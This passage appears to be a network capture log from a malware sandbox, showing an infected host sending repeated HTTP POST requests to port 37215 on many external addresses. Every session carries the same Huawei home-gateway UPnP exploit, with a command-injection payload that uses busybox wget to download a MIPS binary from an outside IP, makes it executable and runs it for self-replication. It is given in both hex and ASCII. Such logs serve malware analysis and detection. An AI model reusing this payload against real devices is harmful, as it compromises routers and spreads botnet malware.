65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	46810	41.220.237.242	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.842365026 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	47076	223.8.244.35	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.843365908 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	56544	181.87.38.125	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.844906092 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	51698	196.43.167.177	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.845901966 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	53340	196.99.173.230	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.847306967 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	36216	156.62.246.47	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.848383904 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	50824	196.26.63.44	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.849657059 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	45130	223.8.88.2	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.850856066 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	50170	41.172.61.3	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.852065086 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	59124	196.13.140.189	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.853327990 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	38680	223.8.188.202	37215

Timestamp	Bytes transferred	Direction	Data
